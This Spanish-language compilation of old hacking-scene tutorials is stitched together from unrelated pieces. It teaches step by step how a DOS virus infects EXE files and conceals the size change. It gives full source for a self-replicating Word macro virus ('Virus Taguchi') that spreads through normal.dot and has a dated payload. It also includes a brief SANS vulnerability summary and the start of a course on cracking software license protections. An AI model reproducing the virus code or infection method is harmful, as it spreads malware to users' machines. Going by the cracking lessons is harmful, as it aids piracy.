nuestro virus no tendrá referencias de segmentos ya que será menor que 65000 bytes (espero je,je,je) ,excepto el salto al cs:ip inicial del exe. pero esa dirección la realocatearemos manualmente >:) En el Exe se almacena una lista de punteros que indican donde hay referencias de segmento . Pero ojo que estas referencias tampoco estan realocateadas por lo que el DOS suma a cada puntero. El segmento efectivo donde se cargó el EXE + 10 (tamaño del PSP).Ahora tenemos la dirección real donde hay una referencia de segmento y el DOS realocatea la dirección sumando la dirección efectiva + 10. Después de hacer esto con cada puntero de la tabla de realocación el Dos tendrá en memoria el código con la dirección que toca para cada segmento. EXE PROGRAM FILE Header (relocation table entries=2) Relocation Table 0000:0003 + 1010H = 1010:0003 0000:0007

+ 1010H = 1010:0007

CS:IP (Header) 0000:0000 + Eff. Segment 1000 + PSP 0010 = ------------------------Entry Point 1010:0000

Program Image MEMORY 1000:0000 call 0001:0000 1010:0000 nop mov ax, 0003 mov ds, ax

PROGRAM IN PSP call 1011:0000 nop mov ax, 1013 mov ds, ax

1010:0005 1010:0006 1010:0009

Aqu¡ tenéis la estructura del header de los EXE. Offset Descripcion 00 Marca de EXE (MZ = 4D5A) 02 Numero de bytes en la ultima pagina (de 512 bytes) del programa 04 Numero total de paginas de 512 bytes, redondeado hacia arriba 06 Numero de entradas en la Tabla de Alocacion 08 Size del header (en paragrafos, incluyendo la Tabla de realocacion) 0A Minimo de memoria requerido (en para) 0C Maximo de memoria requerido (en para) 0E SS inicial 10 SP inicial 12 Checksum 14 IP inicial 16 CS inicial 18 Offset de la Tabla de Alocacion desde el comienzo del file 1A Numero de Overlays generados En 00 tenemos la marca de los EXE que es MZ (es lo que diferencia un exe de un com) Si os fijáis con las entradas 04 y 06 tenemos el tamaño del EXE. (pages)*512+reminder.S¡ lo sé es una manera muy rebuscada de poner el tamaño lo pod¡an haber puesto directamente con esos 4 bytes ,pero bueno as¡ hay m s emoción je,je,je.En 06 tenemos el número de punteros de la tabla de realoción (Cada puntero ocupa 4 bytes con lo que 4*nº de punteros nos dar el tamaño de la tabla de realocación) En 08 el tamaño del header en paragrafos (incluyendo la tabla de realocación). Después tenemos el Minimo y m ximo de memoria también en par grafo En los Exes al ocupar m s de un segmento no es posible cargar la pila desde la dirección FFFFh como hac¡amos en los com hemos de indicar en el header donde queremos que esté la pila. Por lo que hay dos entradas de dos bytes cada una con el segmento y el offset para la pila. En el offset 12 tenemos el checksum. Normalmente está a 0 con lo que lo podemos utilizar para marcar el archivo como contaminado. El los offset 14 y 16 el IP y CS inicial (comienzo de la ejecución). En el offset 18 el offset de comienzo de la tabla de realocación normalmente es 1c es decir 28 en decimal. Si os fijáis normalmente 4*nº de punteros de la tabla de realocación + offset tabla de realocación = paras del header * 16 Pero esto no siempre es igual ya que tenemos que poner el header en parágrafos y no siempre la cabecera + la tabla de realocación nos dan un múltipo de 16 con lo que normalemente tendremos de 1 a 15 bytes de basura en el file,después de la tabla de realocación (que también

se podr¡an utilizar para marcar el file como infectado). En 1a se menciona el número de overlays generados , hay programas que por su gran tamaño no se pueden cargar enteros en memoria por lo que hay que cargarlos poco a poco mediante overlays internos (carece de utilidad en esta lección :<) Antes de comenzar con la teoría sobre infección de EXE's me gustar¡a hablar un poco de como se direcciona la memoria. Como todos ya sabéis en un 8086 la memoria se direcciona con 2 registros de 16 bits cada uno. Uno que direcciona un segmento (o bloque de FFFFh bytes) y otro que direcciona una posición dentro de dicho segmento). Pero resulta que el 8086 no ten¡a un bus de datos de 32 bits sino de 20 entonces tuvieron que armar una pirula para que entrase la dirección en el bus. Inventaron la segmentación de memoria. Teniendo en cuenta que tenemos 4 bytes para apuntar a una dirección de memoria en teoría podríamos direccionar 4 gigas de memoria. Pero con un bus de 20 bits eso no es posible

ya que 2^20 solo nos permite

direccionar 1 mega de memoria. Bueno, bueno, que chapuzas pero ¿como calcular una dirección de 20 bits si sólo tengo registros de 16 bits?. Bueno aquí viene lo divertido. El segmento lo multiplica por 16 o lo que es lo mismo desplaza hacia la izquierda 4 bits el registro de segmento y al resultado se le suma el registro del offset con esto obtenemos la dirección f¡sica deseada, una dirección de 20 bits. Tened en cuenta que éste método es el causante de que tengamos los famoso 640 bytes de memoria convencional. El mega que podemos direccionar es separado en memoria convencional y en memoria superior que va de los 640 bytes al mega.La memoria convencional se utiliza para cargar el kernel del DOS ,los vectores de interrupcion,programas residentes, programas de usuario etc. y la superior para memoria de video, tablas del bios etc.

Lógicamente eso no quiere decir que no podamos utilizar memoria por encima del mega.En la memoria superior siempre quedan segmentos inutilizados que gracias a drivers de memoria pueden convertirse en los denominados UMB (upper memory blocks, bloques de memoria superior). Estos están dentro del mega direccionable por el DOS pero en realidad en ellos hay programas y datos almacenados en memoria extendida y que son transladados a la memoria convencional para su ejecución y su posible direccionamiento.

Bueno en refinitiva teniendo una dirección como esta 1234h:3423h la dirección real ser¡a 12340h+3223h=15563h

Ahora supongo que ya sabréis la razón de reservar memoria en parágrafos ¿porqué 16 bytes y no reservar memoria en bytes?.Es obvio. 16 es la diferencia entre un segmento y el siguiente. La diferencia entre 1000:0000 y 1001:0000 no son FFFFh bytes como algunos suponías son 16 bytes. ;'> que són la unidad mínima de memoria que se puede reservar. S¡,s¡ de aqu¡ viene el número mágico je,je. Ahora supongo ,entenderéis mejor la residencia. En la residencia buscamos el segmento del MCB disminuyendo el segmento donde está el PSP Con esto no nos vamos FFFFh bytes hacia atrás sino que sólo nos vamos 16 bytes que es lo que ocupa el MCB (je,je,je,je ,apasionante ¿no?) Pasos para infectar un archivo EXE ---------------------------------1. Leemos el header a un área de memoria para poder modificarlo a placer. Calculamos el tamaño del archivo. Y calculamos el CS:IP que dever tener el header (para que apunte al código del virus que situo al final del archivo). Puedes poner de 1-15 bytes de basura en el archivo para redondearlo a parágrafo esto hace que la ip sea 0 (invariante) siempre y te ahorras tener que calcular el desplazamiento que sufrirán las variables (como hac¡amos en los archivos com). Tén en cuenta que si utilizas dir stealth (técnica que evita que se vea

un incremento del tamaño en los archivos contaminados ,necesitás saber el tamaño exacto del archivo) al poner de 1-15 bytes de basura el stealth te se irá de 1 a 15 bytes por lo que podrías redondearlo a un número fijo poniendo luego basura después del virus :>. 2. Copiamos el virus al final . Espero que no tengas problemas en hacer esto, sino despídete. 3. Calculamos el SS:SP. El virus logicamente se tendrá que buscar un sitio para tener la stack. Esto es ,porque si el programa tenía la stack sobre el código del virus ,podría sobreescribirlo mientras lo ejecutamos y te aseguro que eso no es bueno para nuestro virus creetelo.:> 4. Calcular el nuevo tamaño que tendrá el archivo.Esto no es dif¡cil simplemente buscamos el tamaño del archivo (ten en cuenta que ya tenemos el código del virus al final ) y dividimos por 512 el resulatado incrementado en 1 ser el número de páginas y el resto el reminder. 5. Calculamos la memoria mínima que necesitará el programa. Simplemente sumamos el tamaño en parágrafos del virus. a la memoria m¡nima. 6. Escribimos el nuevo header en el archivo. (En el código del virus almacenamos el antiguo CS:IP y el SS:IP para devolver el control al HOSTE) NOTA: Al cargar un archivo EXE DS y ES apuntan al PSP ,SS y CS pueden ser diferentes.Ojo con lo que hacéis con DS y ES porqué los necesitaréis luego para dar el control al HOSTE.(realocatear el salto de vuelta al hoste). Text of NIGROMANTE . nEUrOtIc cpU. is with you. No se pude mostrar la imagen v inculada. Puede que se hay a mov ido, cambiado de nombre o eliminado el archiv o. Compruebe que el v ínculo señala al archiv o y ubicaciones correctos.

Ahora toca hablar un poco sobre los virus de Word. Estos virus se programan en un lenguaje llamado WB (wordbasic). Si supongo que a muchos de vosotros os suena eso del basic y tenéis mucha razón ya que el WB es una variante del basic. A mi me recuerda enormente al famoso qbasic que ven¡a con el DOS, sobretodo porque est bastante estructurado y no hay que poner los engorrosos numeros de linea cada vez ;>. Supongo que los virus del Word son tan famosos porque desde la aparici¢n de win95 es la forma m s sencilla de infectar un ordenador, porque est en un lenguaje de alto nivel y cualquier LAMER puede aprender a utilizarlo estudianto unos cuantos comandos, y porque por si fuera poco está en una variante del basic, y quien no aprendió a programar en Basic con la aparición de los Amstrad y los Spectrum. Aun así no me parece una rama de los virus muy interesante, al ver un virus en ensamblador ,aprecias la belleza de su código (siempre y cuando est

bien programado) en cambio cuando ves un virus en WB dices - pero que

cutre!!!!!. Algo as¡ como los virus para BAT o los Companion Viruses. De todos modos su utilización como carriers (programa con el que empiezas a contaminar un sistema) es bastante interesante. El virus Ph33r de los australiandos Vlad ,se extendía mediante un virus para word. Sí son cutres pero que coño se reproducen no???. En primer lugar ¿cuando se ejecuta un Macro? En el winword existe un famoso archivo llamado normal.dot en

el

que se almacenan todas las macros existentes en el word. Entre ellas están unas macros automáticas que se ejecutan cada vez que se da cierto evento. Hay 5 macros automáticas ,asociadas a 5 eventos del sistema. autoclose -Se ejecuta cuando se cierra un archivo autoopen -Se ejecuta cuando se abre un archivo autonew -Se ejecuta cuando se crea un archivo. autoexec -Se ejecuta cuando entras en el word. autoexit -Se ejecuta cuando sales del word. De modo que si tu creas una macro llamada autoclose que visualize tu nombre en pantalla. Cada vez que cierres un archivo se visualiza tu nombre en pantalla ;>. Esto parece más fácil que la residencia en ensamblador jejejeje. Realmente el virus no está residente simplemente está en el normal.dot esperando que se ejecute un evento. Ahora bien, si recibes un archivo contaminado ,como se copia a tu sistema (al normal.dot) si tu normal.dot está limpio todavía? Resulta que en los archivos también puedes introducir macros. El macro autoopen en un archivo se ejecutaría cada vez que abres un archivo y el autoclose cada vez que lo cierras. Ahora bien ese archivo tiene que ser de tipo plantilla si no el macro no se podría ejecutar.Los virus de word normalmente aunque no sean una plantilla ,graban los archivos contaminados como plantilla para

que puedan ser ejecutados sus macros directamente desde los archivos. Esto se hace con el simple comando archivoguardarcomo.formato=1 nota: Como veis los comandos están en Castellano, la verdad es que esto sólo es posible en la versión hispana del word ,pero hay que fomentar la producción nacional. De todas formas si veis el código de algún virus de word en Ingles no te preocupes la traducción es practicamente literal para la versión castellana. y ahora bien ¿como copio el virus desde un archivo al normal.dot? No es necesario utilizar cosas raras ni punteros ni guardar valores en registros como en ensamblador, esto es un lenguaje de alto nivel esto se hace con una simple instrucción jejejejeje. macrocopiar "doc1:autoclose","global:autoclose" Con esta instrucción copio el macro autoclose situado en el archivo doc1 al macro autoclose que guardar

en normal.dot

(no se referencia al archivo de macros normal.dot como tal, sino que se utiliza la expresión global) fácil no??. del mismo modo se puede hacer lo contrario macrocopiar "global:autoclose","doc1:autoclose" para copiar del macro autoclose de global a doc1. Tambien se puede sustuir esta expresión por macrocopiar "global:autoclose",nombreventana$()+":autoclose"

Esto copia la macro autoclose de global al archivo que va a ser cerrado. nombreventana$() es una funci¢n del word que devuelve el nombre de la ventana abierta. Ahora viene una pregunta importante ¿donde escribo el virus? Mira en el menu de herramientas la opcion macros. Te aparecer un bonito editor de macros con todas las macros existentes actualmente en tu word y si tienes alguna plantilla abierta te proporciona la posibilidad de ver los macros incluidos en dicha plantilla Otra pregunta importante ¿como eliminar un virus de word? Si sospechas que tienes un virus de word, borra el normal.dot de modo que el propio word te crear uno limpio. Con eso limpias el normal.dot .Los archivos los puedes abrir con el editor de macros en la opcion organizador. (abrelos con el editor si los abres con el word estamos en las mismas con el normal.dot contaminadito).Y puedes borrar todas macros que tengas en el archivo. :> fácil ehhh. Normalente no hay macros en el normal.dot así que si habres el editor y ves un par de macros ,puedes pensar mal. No conozco a nadie que utilice macros unicamente los creadores de virus. Nuestro primer virus. Este virus estar formado por 2 macros una autoclose y otra llamada nigro que es el que utilizaremos para saber si est contaminado

el archivo o el normal.dot '*********************************************************** '*

*

'* Virus Taguchi

*

'* (la probabilidad de aprobar es de un 0.05 %)

*

'*

*

'*********************************************************** Sub MAIN 'este macro definelo como autoclose On Error Goto finalizar 'si hay algun error va a finalizar 'hay etiquetas y saltos condicionales 'como pod is ver. Nigro1$ = NombreVentana$() + ":autoclose" Nigro2$ = NombreVentana$() + ":nigro" Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10)) 'utilizo la función Lcase para realizar la comparación 'solo en minúsculas y en Archi$ tendrá

el nombre del

'archivo que contenga el macro ya sea un archivo de 'plantilla o el normal.dot 'utilizo la función right$ porque nombrearchivomacro$ 'devuelve el nombre con la ruta If archi$ = "normal.dot" Then

'si se ejecuta desde el normal.dot

If infectado = 0 Then Goto contadoc 'si no lo esta contamina el archivo activo

Else Goto finalizar 'si lo esta no contamina EndIf Else 'se ejecuta desde un archivo If infectado = 0 Then Goto contanormal 'contamina normal.dot si no lo esta Else Goto finalizar 'no contamina porque ya lo est EndIf EndIf Goto finalizar MsgBox "virus Taguchi" contadoc:

'contamina archivo abierto

ArchivoGuardarComo .Formato = 1 'en archivos sólo se autoejecutar n las 'macros que están en plantillas. 'Pues creamos la plantilla. MacroCopiar "global:autoclose", nigro1$, 1 MacroCopiar "global:nigro", nigro2$, 1 ArchivoGuardarTodo 1, 1 Goto finalizar contanormal: 'contamina el normal.dot MacroCopiar nigro1$, "global:autoclose", 1 MacroCopiar nigro2$, "global:nigro", 1

ArchivoGuardarTodo 1, 0 Goto finalizar finalizar: Call Nigro

, payload ,llamo a otra macro.

End Sub 'anda pero si hay tambien funciones!!!!! 'que bonito!!! 'esta funcion definela dentro de la ventana 'del macro autoclose ya que es llamada desde 'dicha macro Function infectado 'función que verifica si estó infectado 'ya sea un archivo o el normal.dot segun el 'caso devuelve 0 si limpio y 1 si infectado infectado = 0 Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10)) 'busca entre los macros si est el macro nigro 'si est es que estar contaminado If archi$ = "normal.dot" Then If ContarMacros(1) > 0 Then For i = 1 To ContarMacros(1) If NombreMacro$(i, 1) = "nigro" Then infectado = 1 End If

Next i End If Else If ContarMacros(0) > 0 Then For i = 1 To ContarMacros(0) If NombreMacro$(i, 0) = "nigro" Then infectado = 1 End If Next i End If End If End Function Sub MAIN 'este procedimiento definelo como nigro If Día(Ahora()) = 19 And Mes(Ahora()) = 2 Then Insertar " * tAgUchI vIrUz * by NIGROMANTE(nEUrOtIc cpU) 1997" Goto bucle 'si es el día 19 de Febrero creo un bucle infinito 'escribiendo en el archivo abierto nEUrOtIc cpU End If End Sub Supongo que la mayoría de estas funciones son fáciles de entender intuitivamente por el nombre, sino podéis hacer pruebas con el word.

De todas formas voy a explicar un poco la verificación de si está contaminado el archivo. En primer lugar el virus guarda en archi$() el nombre del archivo desde el que fue ejecutado el macro (tened en cuenta que en como qbasic las funciones que devuelven texto tienen el simbolo $ al final).En nombre del archivo lo obtiene mediante la función nombrearchivomacro$(). Ahora teniendo ese nombre compara archi$ con "normal.dot" para saber si se est ejecutando el macro desde un archivo o desde el normal.dot. Si se est ejecutando desde el normal.dot , como es lógico no hará falta contaminarlo jejeje, entonces mediante la función infectado mira si el archivo abierto esta contaminado si no lo está lo contamina y si lo está se va a la macro nigro para realizar el payload. En el caso en que se ejecute desde un archivo se hace lo contrario mediante la funcion infectado se mira si el normal.dot está contaminado si lo está se va al macro nigro y si no lo está lo contamina.Guau esto parece un trabalenguas La función infectado trabaja por tando de diferente manera según se ejecute desde un archivo o desde el normal.dot. Si se ejecuta desde un archivo infectado=1 si normal.dot infectado infectado=0 si normal.dot no infectado Si se ejecuta desde el normal.dot

infectado=1 si archivo infectado infectado=0 si archivo no infectado La verificación de si est infectado o n o ya sea el archivo o el normal.dot se hara mediante las funciones contarmacros(1) que devuelve el número de macros en el archivo activo contarmacros(0) que devuelve el n£mero de macros en normal.dot nombremacro$(n,1) devuelve el nombre del macro numero n dentro del archivo activo nombremacro$(n,0) devuelve el nombre del macro numero n dentro del normal.dot El recorrido por todos los nombres de macros se realiza mediante un bucle (si esto es un jodido lenguaje de alto nivel ,aquí hay de todo) For i = 1 To ContarMacros(1) If NombreMacro$(i, 1) = "nigro" Then infectado = 1 End If Next i Con esto se busca una macro de nombre "nigro" dentro de un archivo si lo encuentra infectado tomar el valor 1.En caso contrario infectado tendr el valor con el que fue inicializado es decir 0. Comandos interesantes para el payload serían por ejemplo shell "comando" con el que puedes ejecutar programas del sistema

operativo. El comando shell es muy interesante para hacer llamadas al programa debug del dos con codigo hexadecimal y crear carriers ejecutables de virus como en el caso del Ph33r. insertar "hola hola hola" puedes insertar texto en el documento activo msgbox "virus activado" aparece un cuadro de diálogo que este mensaje y desaparece cuando se apreta el boton de 'aceptar'. Bueno si tenéis dudas podéis mandar un mail etc etc etc. Curso creado y distribuido por Nigromante MSGBOX " nEUrOtIc cpU is with you!!!!!! "

No se pude mostrar la imagen v inculada. Puede que se hay a mov ido, cambiado de nombre o eliminado el archiv o. Compruebe que el v ínculo señala al archiv o y ubicaciones correctos.

1

Sans Institute publica un documento en el que se describen los diez problemas de seguridad más críticos y habituales en Internet -actualmente-, con el fin de que los administradores de sistemas cierren los problemas más comunes y más habitualmente utilizados. El documento, en inglés (aunque existe una traducción al castellano), se actualiza con relativa frecuencia y debería ser revisado a menudo. Además de la vulnerabilidades en sí, se ofrecen consejos y recomendaciones para reducir riesgos. Las diez vulnerabilidades más comunes son: BIND (named) Es el servidor de nombres más popular de Internet, pero las versiones anteriores a la 8.2.2patch5 son vulnerables a numerosos ataques capaces de proporcionar nivel "root" al atacante. CGIs y extensiones en los servidores web Hay que auditar cuidadosamente todos los CGIs accesibles en los servidores web, incluyendo los CGIs que vienen por defecto. Adicionalmente, extensiones como FrontPage y ColdFusion pueden ser inseguros por sí mismos, o contener ejemplos atacables. Vulnerabilidades en sistemas de llamada a procedimiento remoto (RPC), tipo rpc.ttdbserverd, rpc.cmsd y rpc.statd Aunque son conocidos desde hace tiempo, estos fallos siguen presentes en numerosos equipos. Vulnerabilidad RDS en el servidor web de Microsoft (IIS) Diversos errores de seguridad en el Remote Data Services (RDS) permiten a un atacante el ejecutar comandos con privilegios de administrador. Sendmail Sendmail es el servidor de correo (MTA) más utilizado en el mundo UNIX. Los administradores de dichos sistemas deberían mantener el servidor permanentemente actualizado. sadmind y mountd Estos procesos, si no han sido actualizados, contienen errores que permiten la ejecución de código arbitrario como "root". Compartición de discos e información vía NetBIOS, NFS y AppleShare - Deben compartirse sólo los directorios imprescindibles, y sólo desde las máquinas imprescindibles. - El acceso por red a dichas máquinas debe ser el imprescindible. - Las claves empleadas deben ser robustas. - El control de acceso no debe basarse en información DNS, sino en direcciones IP. Cuentas sin clave o con claves de baja calidad Esto es espcialmente grave cuando las cuentas en cuestión tienen privilegios especiales. Vulnerabilidades en los servidores IMAP/POP Estos servicios gestionan los buzones de los usuarios y les proporcionan acceso a su contenido. Normalmente no están protegidos por cortafuegos, ya que suele ser necesario proporcionar el servicio a usuarios desplazados fuera de la red local. "Comunidades" (claves) SNMP por defecto Numerosos equipos con capacidades de administración y monitorización remota vía SNMP (Simple Network Management Protocol) son desplegados sin modificar las claves (comunidades) por defecto. FUENTE ; HISPASEC

1 CURSO SUSCEPTIBLE A CAMBIOS Reverse Engineering <-:El curso completo para comenzar a crackear:-> Edición Azul Curso 1 ... la definición crack. Temas: 0.-Ingeniería Inversa, Introducción 1.-Conceptos 2.-¿POR DONDE RAYOS COMENZAR? 2.1-CONOCIMIENTO BÁSICO DE ENSAMBLADOR 3.-ENFATIZANDO CON LAS HERRAMIENTAS 4.-La primera Aproximación 4.1-Teórico, ahora, práctico 4.1.0-Una pequeña explicación. 4.2-Muerte a los bytes. 5.-El registro de Windows 6.-Recomendaciones 7.-¿Donde puedo encontrar más información? 8.-Mis palabras finales ... =) --------------------------------------------------------------------------------Ingeniería Inversa, introducción. Este tutorial está creado por que realmente no me sentí muy satisfecho con los otros cursos que hice, realmente pienso .. no quedaron de mi agrado así que los eliminé y los reemplacé con estos,así que el que quedó leyendo mi otro curso, despídanse, empezaremos desde 0 ... este tutorial está hecho especialmente para los que no entienden lo que es la Ingeniería Inversa, desde ahora le llamaremos cracking espero poder ayudarlos en todo lo que pueda, y si no, haré lo mejor ... La ingeniería inversa se basa en quitar, remover, suspender uno o más temas de protección de alguna aplicación ya siendo comercial y otras. Muchos consideran esto como un arte. En este curso pienso ayudar a personas quén interesadas al respecto, y incluso a los mismos programadores. Se les enseñará a no ser tan 'cuadrados' de mente pensando en intereses comerciales, se les enseñará a crackear sus propios programas, e ir aumentando sus niveles de protección, en este primer curso aprenderemos algo mínimo en cuanto a reventar protecciones de programas, mas que nada, hablaremos de teórico. Por hoy se aprenderá el uso de la ingeniería inversa bajo el sistema operativo en Windows 95 y/o 98. Empezaremos por cosas muy básicas. Sólo les pediré las siguientes cosas para que comienzen a crackear :

Un Computador -=(Mayor o igual a 16 Mb. de RAM, mayor de 486 a 33) Un disco duro de 1 Gb. UN CEREBRO Instinto y perspicacia. Las ganas. Algo de conocimientos básicos a medios (Como que es la RAM, programar, uso de Win95) Si es posible, algo de conocimientos de ensamblador, si es que no es así, los ayudaré en lo que pueda. Yo creo que tienes los dos primero ítems, ya que ahora solo salen pentiums III y pocaso los II... Al mismo tiempo aprenderemos a crackear a conocer los aspectos de una PC, cómo funciona, qué hace, y como es que se ejecutan las cosas. Creo que debo explicarles otras cosas también pero las aprenderemos en el transcurso de estos laaargoos capítulos. 1. - CONCEPTOS Empezaremos por pensar en qué es un sistema operativo, es la base por la cuál un programa (en este caso Windows 9x) domina el inicio de las rutinas para procesar datos en el disco duro. (suena enredado, pero piensa que se trata de un programa que hace que se 'inicie' el disco duro ..) .. ya sabemos cuál programa está dominando en tu equipo, si es que usas una apple macintosh, busca en altavista 'MAC CRACK', y encontrarás hechos al respecto. Muy bien, imaginemos un programa a crackear, o sea, ¿Qué queremos hacerle al crackearlo? .. vamos a eliminar diálogos o partes que digan .. 'Cómprame' .. 'gasta dinero' ... por un programa que usas, y por ejemplo,un programa que usas te pide que lo compres utilizando una tarjeta de crédito (p.e. MasterCard*Visa), y que lo compres por ejemplo en http://www.buynow.com , del cuál te pedirá el nombre, número de tarjeta de crédito y cuando expira, así harán una cybercompra arrugando tus bolsillos ... ¿No? ... si no te ha pasado revisa entre tus cosas esos CD's de revistas .. verás mucho material para crackear allí,

2 todavía no sabes crackear, así que aprenderemos aquí. Imagina que este programa tiene un cuadro de diálogo que te pide un nombre y una contraseña, y esta contraseña se te da cuando compras el programa. y cuando la introduces en el programa, el programa te dirá "Gracias por registrarse" lo que prácticamente quiere decir que : "Gracias por gastar su dinero en este programa" .. nuestro objetivo para este y solamente este programa será estudiar el porque cuando introduces una contraseña errónea te dice "Contraseña incorrecta" ... y modificar esta sentencia o ver como es que forma la contraseña ... llamaremos desde ahora a MS-DOS ->DOS, a Windows 95 le llamaremos ->Win95. ¿Por qué digo solamente para este programa? .. pues existen varias protecciones distintas, como las de tiempo (cuánto tiempo usas un programa) .. las de usos (Cuánto puedes usar un programa, p.e. 6 veces)... y otras por allí ... Cada vez los programadores están desarrollando peores protecciones para los programas... y a veces son buenas... (no demasiado y pocas veces).. esto ocurre cuando los programadores crean los programas en pensamientos comerciales y 'monetarios' .. y lo peor de todo es cuando esto sucede gracias a la estúpida sociedad en que vivimos donde la gente esta propensa a que cuando se tiene dinero, no se hacen las cosas por placer. se hacen con mentes comerciales. 2. - ¿POR DONDE RAYOS COMENZAR? Empezaremos por saber que rayos necesitaremos para esto de la ingeniería inversa. Pueden ser encontrados en HERRAMIENTAS Depurador/Debugger: Es un programa que sirve para "depurar" programas, me explico, cuando se ejecuta un programa y lo 'depuras' .. Te vas deteniendo en cada paso que ejecuta el programa, al mismo tiempo cuando lo depuras por ejemplo en el programa llamado "soft-ice", este es un programa para depurar (el más famoso) vas viendo el programa depurándose en ensamblador o mas bien conocido como assembler, explicaré assembler básico más adelante ... Lista de depuradores mas comunes : Debug (De MS-Dos), Soft-Ice (El más usado), TR (para dos y Win) Editor Hexadecimal: Es un programa que permite 'editar' archivos, en forma hexadecimal y poder cambiar bytes en él, mas adelante aprenderemos el sistema hexadecimal y binario. Lista de editores hexadecimales más comunes : Hex Workshop (Win95), Ultraedit (Win95), Hacker's View (Dos) Monitor del registro:Para ocasiones en que los programas guarden sus datos de registro en el sistema de Windows, siempre servirá este programa .. más adelante se explicará acerca de este famoso registro de 'windows'.. Lista de monitor : Registry monitor (Win95). Descompresor: Algunos programas. Más en sí sus ejecutables, vienen comprimidos con ejecutables de otras compañías , por ejemplo el famoso IconForge, este programa no permite ser desensamblado... Existe un programa llamado shrink, que protege los ejecutables (EXE), con este puedes usar por ejemplo el Deshrink, que descomprime los archivos protegidos con Shrink.. Y así es posible desensamblar y modificar algunos segmentos... Creo que todavía ya los estoy confundiendo . Lista de descompresores comunes : Deshrink, PeUNLOCK, etc. miles más ... Monitor de archivos: Algunos programas crean archivos temporales con los registros correctos, y cuando se vuelven a ejecutar los programas, verifican la información del archivo temporal y si es que no es correcta se borra, el monitor de archivos ve los archivos que se crean ... (p.e. UltraEdit, este pide un número de registro, y para comprobar nos dice que necesita reiniciar para comprobar, este crea un archivo llamado uedit.reg). Lista de monitor : File Monitor. Desensamblador (Disassembler): Podemos depurar un programa en el instante, pero también podemos desensamblar un programa, o sea, ver lo depurado en el instante, pero tranquilamente podemos estudiar las rutinas sin tener que depurar 'En el momento'. Lista de monitor : IDA (Dos*32 Bits), WDasm, Sourcer 7, etc. . . 2.1 - CONOCIMIENTOS BÁSICOS DE ENSAMBLADOR (Assembler) Primero : ¿ Por que digo desensamblar o depurar? .. cuando un programa está hecho en otros lenguajes de programación (p.e. C - C++, Visual Basic, Delphi, Pascal) y lo 'compilas'.. o sea, lo dejas en ejecutable(.EXE, .COM) primero, ¿Qué es compilar?, hablemos superficialmente de aquello.. imaginemos que tenemos un código fuente de un programa (supongo que sabes que es eso), y el programa tiene la función de hacer lo siguiente ... Muestrame Un mensaje, el mensaje dice 'Hola a todos', y cuando lo muestres, que suene un pitído, al mismo tiempo, pinta las letras de color verde. Este es un pequeño programa que puede ser hecho en varios lenguajes, pero .. ¿El computador puede entender estas letras humanas y este lenguaje que nosotros entendemos? NO!, para eso necesitaremos un compilador,

3 este transforma este código en un lenguaje llamado 'máquina', que convierte nuestro programita en un .EXE que el procesador sabrá ejecutar, y entonces, tendremos un programa. Al mismo tiempo estamos protegiendo nuestro código, ¿Por que?, por que si le damos el código a cualquiera, pueden modificarlo ¿o no?.. por ejemplo si tengo el código de arriba puedo modificarlo para que sea así: Muestrame Un mensaje, el mensaje dice 'MUERANSE TODOS!', y cuando lo muestres, que suenen dos pitídos, al mismo tiempo, pinta las letras de color azul. Claro que ahora están saliendo descompiladores. que revierten el ejecutable a el código fuentee. Para variar me volví a desviar, quedamos en qué era un desensamblador, bueno, cuando creamos un programa en Delphi, Pascal, Etc. lo compilados, el desensablador puede 'desensamblar' el program para dejarlo en Ensamblador para la ingeniería inversa. Ensamblador es un lenguaje de programación de bajo nivel, ¿ Qué significa bajo nivel ?... pues al revés de un lenguaje avanzado como 'C', o uno medio como Pascal que son lenguajes para crear programas.. que son de alto nivel.. el lenguaje de bajo nivel es una manera de decir que mientras 'Mas programemos o más programa creemos menos control tendremos de este..'. Este lenguaje les va ayudar mucho ... Si prestamos atención a este pequeño código fuente, no lo entenderán si no saben acerca de ensamblador.. si es que es así . Les ayudaré con los tipos ... MOV AX,1111h MOV BX,1112h CMP AX,BX JB saltobueno HLT saltobueno: DEC BX CMP AX,BX JNE Acaba JE Continua Continua: DEC BX CMP AX,BX JE Acaba JB Acaba JG Acaba Acaba: XOR AX,AX XOR BX,BX -------------------------------------------------------------------------------¿Que rayos significa esto? ¿Estudiaremos todo lo que hace este pequeño texto, e iremos aprendiendo para seguir adelante en nuestro curso.. empezaremos por aprender que es ax y bx mostrados en la primera instrucción. Primero que nada, no son solo estás dos palabras, en total son las siguiente palabras : AX, BX, CX, DX ... pero .. ¿que son estás palabras? ... estas palabras son registros de datos, o sea, que contienen información en ellas para cálculos y otras cosas en general. Digamos que guardan datos temporales de la 'memoria'. tocaremos de manera superficial este tema ya que está curso de aesoft que les puede ayudar al respecto muy meticulosamente. Pensemos que estos registros son para acumular datos en memoria temporalmente .. ¿Ok?.. pensemos ahora que un equipo estándar con Win95 Usa 32 Bits, los registros para 16 bits (Windows 3.11, piénsenlo así) son Ax, Bx, Cx, Dx.Pero si queremos trabajar en 32 Bits, o sea Win95, tendremos que agregarles una E para depurarlos en Win95, (P.e. Eax, Ebx, Ecx, Edx).. Me Explico nuevamente, en windows 95 se usan datos de 32 Bits(Para guardar datos)... si estamos trabajando en Windows 3.11 o dos(Versión anterior de Win95, y el añorado DOS) trabajaremos para guardar datos en 16 bits. Si trabajamos en DOS o en WIN 3.11, deberíamos ver los registros de datos como AX,BX,CX,DX, si trabajamos en Win95 serían así EAX,EBX,ECX,EDX. (Si ves en alguna parte registros de 16 bits. como AH no te sorprendas, es que se separan AX,BX,CX,DX .. ¿Cómo? .. AX se separa en AH y AL, BX se separa en BH y BL... y así sucesivamente.) Ahora imaginemos que tenemos estos registros, ¿cada uno debe tener un valor o no?.. claro, y para este segmento de un código fuente tenemos el comando mov, el cuál en inglés significa move, el cuál significa mover, o sea que 'mueve' el valor 1111 a Ax, y mueve el valor 1112 A Bx, ¿Por qué la h? significa que está en hexadecimal, y tal como dijo Hot Byte en su curso, aprenderemos a transformar de decimal, hexadecimal, binario.

